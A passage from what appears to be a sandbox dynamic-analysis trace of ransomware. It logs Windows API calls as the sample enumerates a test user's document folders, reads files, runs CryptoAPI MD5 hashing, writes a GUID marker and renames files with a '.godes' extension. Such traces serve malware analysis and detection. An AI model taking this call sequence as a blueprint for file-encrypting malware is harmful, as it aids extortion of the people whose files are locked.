0x3306648 [0113.817] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0113.817] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.817] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.817] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.817] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.817] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.817] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.817] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.817] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.817] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.817] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.817] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.817] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.817] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.817] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.817] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.818] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.818] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.818] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.818] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.818] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.818] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.818] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.818] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.818] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.818] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.818] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.818] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.818] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.818] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.818] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.818] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.818] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.818] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.818] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.818] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.818] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.818] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.818] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.818] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.818] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.818] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.818] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.818] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.818] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.818] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.818] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.818] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.818] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.818] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.819] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.819] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.819] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.819] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.819] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.819] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.819] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.819] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.819] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.819] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.819] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.819] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\") returned="My Music\\" [0113.819] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0113.819] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.819] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0113.819] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.819] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.819] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.819] PathFindFileNameW (pszPath="") returned="" [0113.819] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd360870, ftCreationTime.dwHighDateTime=0x1d4d266, ftLastAccessTime.dwLowDateTime=0x538fc300, ftLastAccessTime.dwHighDateTime=0x1d4d436, ftLastWriteTime.dwLowDateTime=0x538fc300, ftLastWriteTime.dwHighDateTime=0x1d4d436, nFileSizeHigh=0x0, nFileSizeLow=0x9944, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_vK1Qkjp_rOYPZZA.avi", cAlternateFileName="_VK1QK~1.AVI")) returned 0xffffffff [0113.819] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0113.819] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0113.819] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\") returned="My Pictures\\" [0113.820] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0113.820] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.820] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.820] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.820] PathFindFileNameW (pszPath="") returned="" [0113.820] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd360870, ftCreationTime.dwHighDateTime=0x1d4d266, ftLastAccessTime.dwLowDateTime=0x538fc300, ftLastAccessTime.dwHighDateTime=0x1d4d436, ftLastWriteTime.dwLowDateTime=0x538fc300, ftLastWriteTime.dwHighDateTime=0x1d4d436, nFileSizeHigh=0x0, nFileSizeLow=0x9944, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_vK1Qkjp_rOYPZZA.avi", cAlternateFileName="_VK1QK~1.AVI")) returned 0xffffffff [0113.820] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0113.820] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0113.820] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="My Shapes\\" [0113.820] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0113.820] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.820] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.820] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.820] PathFindFileNameW (pszPath="") returned="" [0113.820] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0113.820] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.820] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0113.820] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini") returned=".ini" [0113.820] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites.vss", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0113.820] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss") returned=".vss" [0113.820] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.821] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=0) returned 1 [0113.821] CloseHandle (hObject=0x624) returned 1 [0113.822] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss.godes")) returned 1 [0113.822] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0113.822] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0 [0113.822] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0113.822] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0113.822] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0113.822] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\") returned="My Videos\\" [0113.822] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0113.823] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.823] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.823] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.823] PathFindFileNameW (pszPath="") returned="" [0113.823] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0xffffffff [0113.823] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0113.823] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0113.823] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\") returned="OstAGQ_x8J4h\\" [0113.823] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0113.823] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.823] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.823] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.823] PathFindFileNameW (pszPath="") returned="" [0113.823] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d671e0, ftCreationTime.dwHighDateTime=0x1d4cb9d, ftLastAccessTime.dwLowDateTime=0x95bbcd0, ftLastAccessTime.dwHighDateTime=0x1d4d05d, ftLastWriteTime.dwLowDateTime=0x95bbcd0, ftLastWriteTime.dwHighDateTime=0x1d4d05d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0113.824] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d671e0, ftCreationTime.dwHighDateTime=0x1d4cb9d, ftLastAccessTime.dwLowDateTime=0x95bbcd0, ftLastAccessTime.dwHighDateTime=0x1d4d05d, ftLastWriteTime.dwLowDateTime=0x95bbcd0, ftLastWriteTime.dwHighDateTime=0x1d4d05d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.824] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ca73550, ftCreationTime.dwHighDateTime=0x1d4cd16, ftLastAccessTime.dwLowDateTime=0x41f93160, ftLastAccessTime.dwHighDateTime=0x1d4cca4, ftLastWriteTime.dwLowDateTime=0x41f93160, ftLastWriteTime.dwHighDateTime=0x1d4cca4, nFileSizeHigh=0x0, nFileSizeLow=0x2923, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cWhuivOd.ods", cAlternateFileName="")) returned 1 [0113.824] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\cWhuivOd.ods") returned=".ods" [0113.824] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\cWhuivOd.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\cwhuivod.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.825] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=10531) returned 1 [0113.825] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.827] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x28fd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.827] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.828] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x2923, lpOverlapped=0x0) returned 1 [0113.829] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.829] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.829] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.829] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740da0) returned 1 [0113.830] CryptCreateHash (in: hProv=0x740da0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.830] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.830] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.830] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.830] GetLastError () returned 0x0 [0113.830] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.830] CryptReleaseContext (hProv=0x740da0, dwFlags=0x0) returned 1 [0113.830] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x2923, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.830] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.830] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.830] CloseHandle (hObject=0x624) returned 1 [0113.831] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31e3c08 [0113.831] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x890) returned 0x3321120 [0113.831] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0113.831] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\cWhuivOd.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\cwhuivod.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\cWhuivOd.ods.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\cwhuivod.ods.godes")) returned 1 [0113.831] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.831] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.832] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3206400 | out: hHeap=0x660000) returned 1 [0113.832] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdef87690, ftCreationTime.dwHighDateTime=0x1d4cd50, ftLastAccessTime.dwLowDateTime=0x26ed9110, ftLastAccessTime.dwHighDateTime=0x1d4c95a, ftLastWriteTime.dwLowDateTime=0x26ed9110, ftLastWriteTime.dwHighDateTime=0x1d4c95a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GYsSjG-g6A Jpf", cAlternateFileName="GYSSJG~1")) returned 1 [0113.832] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31e3c08 [0113.832] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31c4458 [0113.832] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa8) returned 0x3206400 [0113.833] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f6d8 [0113.833] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0113.833] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f570 [0113.833] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741400 [0113.833] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f660 | out: hHeap=0x660000) returned 1 [0113.833] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0113.833] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f5e8 | out: hHeap=0x660000) returned 1 [0113.833] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0113.833] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.833] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3222ff8 [0113.833] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31c4458 | out: hHeap=0x660000) returned 1 [0113.833] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0113.833] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf799b70, ftCreationTime.dwHighDateTime=0x1d4c9d0, ftLastAccessTime.dwLowDateTime=0xb9290810, ftLastAccessTime.dwHighDateTime=0x1d4d01d, ftLastWriteTime.dwLowDateTime=0xb9290810, ftLastWriteTime.dwHighDateTime=0x1d4d01d, nFileSizeHigh=0x0, nFileSizeLow=0xd116, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IrPWAmnZ4jkLi8.xlsx", cAlternateFileName="IRPWAM~1.XLS")) returned 1 [0113.833] 